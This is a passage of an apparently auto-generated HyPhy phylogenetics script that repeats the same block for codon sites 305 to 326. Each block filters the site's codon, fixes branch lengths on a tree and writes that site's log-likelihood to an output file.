305...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"912,913,914\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 305\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"305\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 306...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"915,916,917\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 306\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"306\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 307...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"918,919,920\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 307\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"307\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 308...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"921,922,923\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 308\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"308\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 309...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"924,925,926\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 309\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"309\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 310...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"927,928,929\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 310\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"310\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 311...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"930,931,932\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 311\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"311\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 312...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"933,934,935\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 312\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"312\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 313...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"936,937,938\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 313\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"313\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 314...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"939,940,941\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 314\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"314\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 315...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"942,943,944\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 315\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"315\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 316...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"945,946,947\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 316\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"316\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 317...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"948,949,950\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 317\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"317\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 318...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"951,952,953\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 318\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"318\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 319...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"954,955,956\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 319\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"319\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 320...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"957,958,959\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 320\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"320\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 321...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"960,961,962\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 321\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"321\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 322...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"963,964,965\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 322\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"322\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 323...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"966,967,968\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 323\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"323\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 324...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"969,970,971\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 324\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"324\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 325...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"972,973,974\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 325\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"325\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 326...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"975,976,977\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 326\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; 